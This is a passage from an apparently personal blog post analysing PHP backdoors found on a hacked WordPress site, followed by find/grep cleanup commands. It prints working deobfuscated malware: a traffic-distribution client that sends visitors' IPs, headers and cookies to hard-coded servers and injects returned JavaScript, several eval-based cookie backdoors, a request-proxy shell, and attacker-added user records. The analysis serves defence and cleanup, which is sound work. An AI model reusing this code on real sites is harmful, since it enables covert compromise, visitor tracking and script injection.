'E'=>'B', 'D'=>'p', 'G'=>'t', 'F'=>'f', 'I'=>'r', 'H'=>'i', 'K'=>'O', 'J'=>'S', 'M'=>'L', 'L'=>'Y', 'O'=>'X', 'N'=>'V', 'Q'=>'4', 'P'=>'D', 'S'=>'T', 'R'=>'F', 'U'=>'J', 'T'=>'k', 'W'=>'M', 'V'=>'z', 'Y'=>'u', 'X'=>'H', 'Z'=>'C', 'a'=>'A', 'c'=>'5', 'b'=>'Q', 'e'=>'q', 'd'=>'h', 'g'=>'I', 'f'=>'7', 'i'=>'P', 'h'=>'b', 'k'=>'v', 'j'=>'R', 'm'=>'c', 'l'=>'6', 'o'=>'x', 'n'=>'2', 'q'=>'U', 'p'=>'n', 's'=>'l', 'r'=>'8', 'u'=>'j', 't'=>'d', 'w'=>'s', 'v'=>'G', 'y'=>'1', 'x'=>'W', 'z'=>'0'); eval/*i*/(jsyhlnu($qoqwp, $cilthzrd)); )
Warning: make sure you only play with your malware in a sandboxed environment. I like to use Docker, but a full VM would be even more secure.
After another deobfuscation we end up with
if (!defined('file_get_contents ')) { define('file_get_contents ', 1); class TdsClient { private $config; private $config_dict; public function __construct($config, $uid) { $this->config = $config; $this->uid = $uid; } private function _get_config() { if (empty($this->config_dict)) { $this->config_dict = @unserialize($this->_decrypt(TdsClient::b64d($this->config), "tmnyrbtvchx5bny")); } return $this->config_dict; } private function _http_query_curl($url, $content) { if (!function_exists('curl_version')) { return ""; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($ch, CURLOPT_TIMEOUT, 5); if (!empty($content)) { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $content); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $server_output = curl_exec($ch); curl_close($ch); return $server_output; } private function _http_query_native($url, $content) { $context = Array('http' => Array( 'method' => 'GET', 'timeout' => 5, 'ignore_errors' => true)); if (!empty($content)) { $context['http']['method'] = 'POST'; $context['http']['header'] = 'Content-type: application/x-www-form-urlencoded'; $context['http']['content'] = $content; $context['http']['timeout'] = 5; } $context = stream_context_create($context); return @file_get_contents($url, FALSE, $context); } private function _http_query($url, $query) { $url = str_replace("[URL]", "77.87.193.14", $url); $content = $this->_http_query_curl($url, $query); if (!$content) { $content = $this->_http_query_native($url, $query); } return $content; } private function _get_request_ip() { $ip_keys = array('REMOTE_ADDR', ); foreach ($ip_keys as $key) { if (array_key_exists($key, $_SERVER) === TRUE) { foreach (explode(',', $_SERVER[$key]) as $ip) { $ip = trim($ip); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== FALSE) { return $ip; } } } } return ""; } private function _query() { $tds_config = $this->_get_config(); $ip = $tds_config["tds_ip"]; $port = $tds_config["tds_port"]; $path = $tds_config["tds_path"]; $route = "yor8afx3"; if (!empty($tds_config["route"])) { $route = $tds_config["route"]; } $query = Array(); $query['i'] = $this->_get_request_ip(); $query['p'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI']; $query['u'] = @$_SERVER['HTTP_USER_AGENT']; $query['a'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE']; $query['r'] = @$_SERVER['HTTP_REFERER']; $query['ae'] = @$_SERVER['HTTP_ACCEPT_ENCODING']; $query['aa'] = @$_SERVER['HTTP_ACCEPT']; $query['ac'] = @$_SERVER['HTTP_ACCEPT_CHARSET']; $query['c'] = @$_SERVER['HTTP_CONNECTION']; $query['co'] = @serialize(@$_COOKIE); $query['cp'] = serialize(Array("a"=>$route, "uid"=>$this->uid)); $query = http_build_query($query); $url = "http://" . $ip . ":" . $port . $path; return $this->_http_query($url, $query); } public function process_request() { $content = @unserialize($this->_query()); if (isset($content["options"])) { foreach ($content["cookies"] as $key => $value_and_ttl) { @setcookie($key, $value_and_ttl[0], time() + $value_and_ttl[0], "/", $_SERVER['HTTP_HOST']); } if (isset($content["options"]["type"]) && $content["options"]["type"]=="inject") { $GLOBALS['injectable_js_code'] = TdsClient::b64d($content["data"]); ob_start("TdsClient::postrender_handler"); } else { foreach ($content["headers"] as $key => $value) { @header("$key: $value"); } if (strlen($content["data"]) != 0) { exit(TdsClient::b64d($content["data"])); # TODO: check if its file } } } } public function try_process_check_request() { foreach (array_merge($_COOKIE, $_POST) as $data_key => $data) { $data = @unserialize($this->_decrypt(TdsClient::b64d($data), $data_key)); if (isset($data['ak']) && $this->uid==$data['ak']) { if ($data['sa'] == 'check') { return TRUE; } } } return FALSE; } public function can_process_request() { $tds_config = $this->_get_config(); eval("function is_acceptable_tds_request(){\n" . $tds_config["tds_filter"] . "\n}"); if (function_exists("is_acceptable_tds_request")) { if (!is_acceptable_tds_request()) { return FALSE; } } return TRUE; } static public function postrender_handler($buffer) { // prepare page content $content = $buffer; $js_code = $GLOBALS['injectable_js_code']; if (strpos(strtolower($content), "</head>") !== FALSE) { $content = str_replace("</head>", $js_code . "\n" . "</head>", $content); } elseif (strpos(strtolower($content), "</body>") !== FALSE) { $content = str_replace("</body>", $js_code . "\n" . "</body>", $content); } return $content; } private function _decrypt_phase($data, $key) { $out_data = ""; for ($i = 0; $i < strlen($data);) { for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) { $out_data .= chr(ord($data[$i]) ^ ord($key[$j])); } } return $out_data; } private function _decrypt($data, $key) { return $this->_decrypt_phase($this->_decrypt_phase($data, $key), $this->uid); } static public function b64d($input) { if (strlen($input) < 4) { return ""; } $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; $keys = str_split($keyStr); $keys = array_flip($keys); $i = 0; $output = ""; $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input); do { $enc1 = $keys[$input[$i++]]; $enc2 = $keys[$input[$i++]]; $enc3 = $keys[$input[$i++]]; $enc4 = $keys[$input[$i++]]; $chr1 = ($enc1 << 2) | ($enc2 >> 4); $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2); $chr3 = (($enc3 & 3) << 6) | $enc4; $output = $output . chr($chr1); if ($enc3 != 64) { $output = $output . chr($chr2); } if ($enc4 != 64) { $output = $output . chr($chr3); } } while ($i < strlen($input)); return $output; } } $uid = 'a34ef15e-e06c-433a-b15c-b6d5b9abf4f7'; $config = 'dGRvJm8geyZ0LzpsdDcoZWV8bihpY3N7PTonJG06NzR7dyxvNzEzfkF0OHkgM2YrIG1sZX0yZyF3bTxkLHl+KGMEc31pKHtwIWY+KzJtey1teCB1I3FeAhhKD0oNFzYdUxFSGElYXEFaFEMWXGYLMTFvfTpfQgpoNzwmaiRuKWArdT9HUx1PF0oFQzdMFEQEVgpCRE0YFVcPXQwTQhoQHmwJZiw0PS4wbzZ2LmdyLUUAE1oYUAwBPlwHFUMRXw1FRBEIFXxSeDB3HkYLWBgUBVdiXVtcHUsdWhYDL0MtdyppLH0eWxMFAmwPT2EJXS10Nnt4KWQuZ3olGl9OUBh2HAEiQR1CGy8zK31kPC1sICd7E0IKRBZCD0ErS1hLEFQMSwQETlEVGFNMIANmNzwmajFxPHMNMHpsYzA1ZiB/YXFqJHUsayR1e2opKGw2bzI9cz4lJyomLGQhN2sxZzB0IHcxdXkhN38icCwme3s8Jn8rcSVwbyEiMyJ2J3UyM3Ymdj00Nn4jfXNqJHoyaSQkZmJtOW8xaTgqZjI3LSBxMXNnK343dzVkKWInZmRsOHtwfzsscm49I3gkbQQ6f3wuOHo0eSsAH1QdQAVVBj1EV1hPH14KXRMJUFcXE0k/WndmGkohR0sjeTRyL35sdSpzYUkWVENBex1edEYLCgIuLnomfSE8N3M2KTk1NiRvblJteDd1bjN2KT18CiY9Yjh1OzhzZjwSIylwaTtiYHIvcz8Pb3EhaTZ+cCBgMiBUY3A6dmpwIT4jeFd6aTErNXh6Z2ItGTR8O34sOXwmbDd0STp9MXItJHFtNiQDYn0/dmlyJ3UmfgE2KWs5YzZjNmcoATR8bWswZyd5P24KP3c7OzI/K35oOBx0IyJsdjN+fTw3XHZ3MiBwNDAjb0x6fTN1KC9kYS9sfSg1b3Rwd2tzYG86LmAfNTRuMTt9JTp0eX8+SXM2c3M6L09gfSBzLmRhZ3kgCD8kMUljYyAyO3kkcHxUYjtyOWVwIkIrIHsIPDw8dzY4aGIuZT0rCyI1cjZjIkx0OjMpfDktX3I6YVdyL3ghZSM7fwkufno0eShwED4uci1uM3N/d35+NGQrRG55NjxyejJoby4ibiE+Jyhtdn11cTs/LyBwLX0ne0wqMHgkJmwtJy9nHScleScwS3R4fGd0ZiwpMi5naSFhJGxzBBAoWwJuNX56dXJzaWM8aC9cbCI5JDYncGI2JnA2Jm4Rc1MTUF1eCEYOMhcSXEtBBF8LRA8RPQJ/bkgIZTokd3ZZHHsqbDB7NTQlLnt2di8jMU0eAEQKKktfK3UhcSAVU3JSRhxFZCVzKGhiI1hNFU5iOnolKyhof2l8dAE/djQyaHpwYyVgZzk3ZSB8LH87fT50KGB2Mjg7MTJqNWwwQyskNWAkYXpndS5+cyB0LWo3di10OCNmdDMz'; $client = new TdsClient($config, $uid); if ($client->try_process_check_request()) { echo "<tds>".PHP_EOL; echo $uid; echo "</tds>".PHP_EOL; } else { if ($client->can_process_request()) { $client->process_request(); } } }
The client config when decoded looks like this
client configArray ( [route] => f57tvsaz [tds_port] => 80 [tds_filter] => if ($_SERVER['REQUEST_METHOD'] != 'GET' || empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || strpos($_SERVER["HTTP_REFERER"], $_SERVER["HTTP_HOST"]) !== FALSE) { return FALSE; } if (empty($_SERVER['HTTP_USER_AGENT']) || preg_match('/(yandexbot|baiduspider|archiver|track|crawler|google|msnbot|ysearch|search|bing|ask|indexer|majestic|scanner|spider|facebook|Bot)/i', $_SERVER['HTTP_USER_AGENT'])) { return FALSE; } foreach (array('/\.css/', '/\.swf/', '/\.ashx/', '/\.docx/', '/\.doc/', '/\.xls/', '/\.xlsx/', '/\.xml/', '/\.jpg/', '/\.pdf/', '/\.png/', '/\.gif/', '/\.ico/', '/\.js/', '/\.txt/', '/ajax/', '/cron\.php/', '/wp\-login\.php/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//', ) as $regex) { if (preg_match($regex, @$_SERVER['REQUEST_URI'])) { return FALSE; } } return TRUE; [tds_path] => /example.php [tds_ip] => 62.76.179.195 )Some pretty interesting stuff.
I'll have a look at this properly later, but it looks like it's sending data about each request off to a server which responds with what javascript to inject onto the page. Looks pretty nasty!
TODO: analysis
Other Backdoors
I found a couple of other backdoors scattered throughout the site with a lot less obfuscation.
Ufeutol.php
When decoded looks like this
<?php $gfaujmp = '_x7cH290n\'ugsob*#18d6mlip4t3yva-kre'; $hjuzajd = array( 0 => 'H*', 1 => '#', 2 => '17a6ee0b-38b4-4673-8d91-0bc0348e0326', 3 => 'count', 4 => 'str_repeat', 5 => 'explode', 6 => 'substr', 7 => 'array_merge', 8 => 'strlen', 9 => 'pack', ); foreach (array_merge($_COOKIE, $_POST) as $eauisg => $bfsfwo) { function lddjf($hjuzajd, $eauisg, $tdaubq) { return substr(str_repeat($eauisg . '17a6ee0b-38b4-4673-8d91-0bc0348e0326', ($tdaubq / strlen($eauisg)) + 1), 0, $tdaubq); } function okejwl($hjuzajd, $lmnvzu) { return @pack('H*', $lmnvzu); } function gsixba($hjuzajd, $lmnvzu) { $ebsvw = count($lmnvzu) % 3; if (!$ebsvw) { eval($lmnvzu[1]($lmnvzu[2])); exit(); } } $bfsfwo = okejwl($hjuzajd, $bfsfwo); gsixba($hjuzajd, explode('#', $bfsfwo ^ lddjf($hjuzajd, $eauisg, strlen($bfsfwo)))); } ?>
Cleanup
This script may pick up some false positives, so you will have to manually look at each result.
for infected in $( find . -regextype egrep -regex '.*/[a-z]*\.php$' -type f -exec grep -Hnzl -P "<\?php\\n\\\$[a-z]+ = .*;\\\$[a-z]+ = Array" {} \; ) ; do stat $infected; done
wp-cache.php
<?php $GLOBALS['_79565595_']=array('str_' .'rot13','pack','st' .'rrev'); function _1178619035($i) { $a=array("jweyc","aeskoly","owhggiku","callbrhy","H*"); return $a[$i]; } function l__0($_0) { return isset($_COOKIE[$_0])?$_COOKIE[$_0]:@$_POST[$_0]; } $_1=l__0("jweyc") .l__0("aeskoly") .l__0("owhggiku") .l__0("callbrhy"); if (!empty($_1)) { $_1=str_(@rot13("H*", pack($_1))); if (isset($_1)) { @eval($_1); exit(); } } ?>
Cleanup
TODO
50lv2oitrw.php
eval("\n\$dgreusdi = intval(__LINE__) * 337;"); $a = "7VdrT+NGFP1eqf9hiCIcKwHFj7ClIQh2Bd1V6bIthVZC1Jo4k2QSvzR2674raF/94zDk78GLOou5W6Uo2M7Zlzz33MnTs3JzzgTsySlsa674CIXjhROtQ95fX1zo/W+/IbhONgjMOSkqBqRbnffpvcPumbtIeBg4CfdZAQdMOuh43OdJK52Qf3KySaNIh674vqxWRAzvFg/WxqHApG3SlpNZ03l5c/vjsjNCZNNwznnDlhwAbH2UeyCvW1zF/rR4U5h9zwpyCfBnTChMODJU+otD+HhpIiOk8pmB8u4RNL674iZazpDG7MB2RswNR6y1ReodlZIsNvLavv674xyUtuJ3JuyWuIwMxzDI/r18dN5BaBm7rCfcnFHJ8ltFUNkWDJQgSkZHvj+vSnn2+M8OJs8vri+jR+e2YYV7+vTj9cee9vbk57b65XZxfXhvHDL97k9W/n7942Mm+qBsAZFoycOB6748mMSpc/hGSNYjtSY9AckfGbKsQYZqpxKrHF674uez5cXv36lDsByIaLROaOYDGjwp3Wh7mYQRm+XwSVROryKVNcyKd/L6eqltXmlsJxeZVzLI2+mr42/Xw6Z068GPo8jvHdakYsjDzWkQHxPDoMBU2YYuciXGMu/LVvDHFpNApxw9rCGT7o9kmTHyFBPLYh1/v1C7qWm6Vys41c3hayu6uiBLzdhtm83f505JrsPmGBdNiJqKA+7A/FKCO7bfI7HXmdDuVU3zZnd3olO9ThKI/s6743cqWmW95Xx4LKxYdcsVSZUbDuuIer9No1uNzjW48/BAdlqlvV6sPR2ijcZLymcRG9MZW0XjGT2cz674aTWcgmfDaK4nA0GzNN18lgQCoanq/up0LQj61cFZIPhrOkIhaveJIWhbwC8JeW0cXGIw3e+F6xGlQqqyitQm61aKndAXgSTaMl674+kOeA4er+Gasd/dMzQFkLnTUJ6mglOP/ykLghRUUao279onpvKJIRCFkIy0u5fQ5jKK3eNk3+ZvtRYUS1tzRBOKDTVnH2vPgJNFsPU1dgVjQaGY5CgKB1BFtUIW7w46745UG674N5miihTDFNajUsQ2sl8o4fuKzahSmje29sAtnxk8iBaJwrfhYjxmIiutm+Fk6G1Su7j+e0bnc+//AOGBWfq2OqSHsZ582iXCXg+DB7hf4f4O9y674674urg/oQQQ/DdLbNBggwPiHQJC8IHOkFiADdhgAG674AYgBjAGQAZQBmHJaYTAiZUgO674TAiZ674DJ79faYIDNBZoLMhFKrWzYNIAtkFsgskFkgsyBkQciCkAUhG0pt4GzgbOkLcDZwNnD2qxKhDS674bQj0I9b7aZPmf8Ksj1FV9Iipa2imSI5I1duuy2Cd6pecfpmhF74zSeJs2bals2sbdkZ2BVKrsAiVRjdQu6d6fn+vk6AgbvL5Lk5fsYpT0a674UVJ7T8ocGDBauSltwMFn6do5y0iVGJVdoZV7xpGy+IAv49kJYiFmvpfDRMZYM674YyveVlza2G6+1Hbzs2w3S7YffAHTrZeabr3Y9DrhJ8v/sc2rKfcY6GUiHZOu2gw33QPDJ2VdXDo5PsbpplL71JLsD9IfM67StC674iPSDlPZNZvbf3/GaSMR4QW93BZj+D1mZkDdbf"; $a = str_replace($dgreusdi, "E", $a); eval (gzinflate(base64_decode($a)));
Cleanup
TODO
yfupkawh.php
<?php @ini_set('display_errors',0); @ini_set('log_errors',0); @error_reporting(0); @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0); foreach ($_COOKIE as $item) { if ($item != "9b761d97-599a-406d-89ba-135d67c1e9b7") exit(); } $data = file_get_contents('php://input'); $data = split("=",$data,2); $b64_decode_data = base64_decode(urldecode($data[1])); $send_data = unserialize(decrypt($b64_decode_data)); $result = send_data1 ($send_data); if (!$result) { $result = send_data2($send_data); } echo $result; function decrypt($data) { $out_data = ""; $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $key_len = strlen($key); for ($i=0; $i < strlen($key); $i++) { $key[$i] = chr(ord($key[$i]) ^ ($key_len % 255)); } for ($i=0; $i<strlen($data);) { for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++) { $out_data .= chr(ord($data[$i]) ^ ord($key[$j])); } } return $out_data; } function send_data1($data) { $head = ""; foreach($data["headers"] as $key=>$value) { $head .= $key . ": " . $value . "\r\n"; } $params = array('http' => array( 'method' => $data["method"], 'header' => $head, 'content' => $data["body"], 'timeout' => $data["timeout"], )); $ctx = stream_context_create($params); $result = @file_get_contents($data["url"], FALSE, $ctx); if ($http_response_header) { if (strpos($http_response_header[0], "200") === FALSE) { $result = "HTTP_ERROR\t" . $http_response_header[0]; } } else { $result = "CONNECTION_ERROR"; } return $result; } function send_data2($data) { // use sockets }
Cleanup
TODO
Extra Precautions
If, like me, you have the luxury of regular backups to look through, it can be good to diff the backups of your database to look for changes. I would highly recommend Vaultpress backups for this specific reason.
in my case, the diffs looked like this:
wp_options
INSERT INTO `ppo_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1, 'siteurl', 'http://erealitatea.net', 'yes'), (4263427, 'jetpack_plugin_api_action_links', 'a:17:{s:69:\"afterpay-gateway-for-woocommerce/...', 'yes'), (5898751, '_transient_yst_sm_page_1:7aqzq_XoUd', 'C:24:\"WPSEO_Sitemap_Cache_Data\":...'); INSERT INTO `ppo_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (5899366, '_transient_yst_sm_attachment_2:7aqzq_2mYuL', 'C:24:\"WPSEO_Sitemap_Cache_Data\":...'); INSERT INTO `ppo_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (5900434, '_transient_yst_sm_product_1:7aqzq_2n2il', 'C:24:\"WPSEO_Sitemap_Cache_Data\":...'); INSERT INTO `ppo_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (5900681, '_transient_yst_sm_attachment_1:7aqzq_2mYuL', 'C:24:\"WPSEO_Sitemap_Cache_Data\":...');
Users
Also Found 2 suspicious new entries in the users tableINSERT INTO `ppo_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (2190, 't3trollherten', '$P$BOgeWorSlEeoVr/BeGZ8FmRTAaU5wa/', 't3trollherten', 't3trollherten@bk.ru', '', '2018-11-08 16:22:07', '', 0, 't3trollherten'), (2189, 't2trollherten', '$P$BWxvMacVs/UkKuJIEQEpKypAUA0G2r.', 't2trollherten', 'trollherten@mail.com', '', '2018-11-08 12:43:03', '', 0, 't2trollherten')
TL;DR
Run these commands so that you can manually check for and remove these nasty rootkits. There may be false positives, so you have to manually check the files.
for infected in $( find . -regextype egrep -regex '.*/[a-z]*\.php$' -type f -exec grep -Hnzl -P "<\?php\\n\\\$[a-z]+ = .*;\\\$[a-z]+ = Array" {} \; ; find . -regextype egrep -regex '.*/[a-z]+.ico' -exec grep -Hnzl '^<?php' {} \; ; find . -type f -exec grep -Hnzl -P '(?s)/\*[\dA-Za-z]+\*/\n\n@include' {} \; ; ) ; do stat $infected; done
If you found this useful, or you have more information about this attack, let me know in the comments. Thanks!
No comments:
Post a Comment